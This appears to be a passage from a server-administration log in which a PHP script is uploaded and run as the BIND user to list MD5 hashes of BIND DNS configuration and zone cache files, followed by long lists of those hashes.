MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:26:43: Establishing a connection
2026-04-25 20:26:43: 

PUT: /tmp/pkp899637

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:26:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp899637; rm /tmp/pkp899637'

2026-04-25 20:26:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
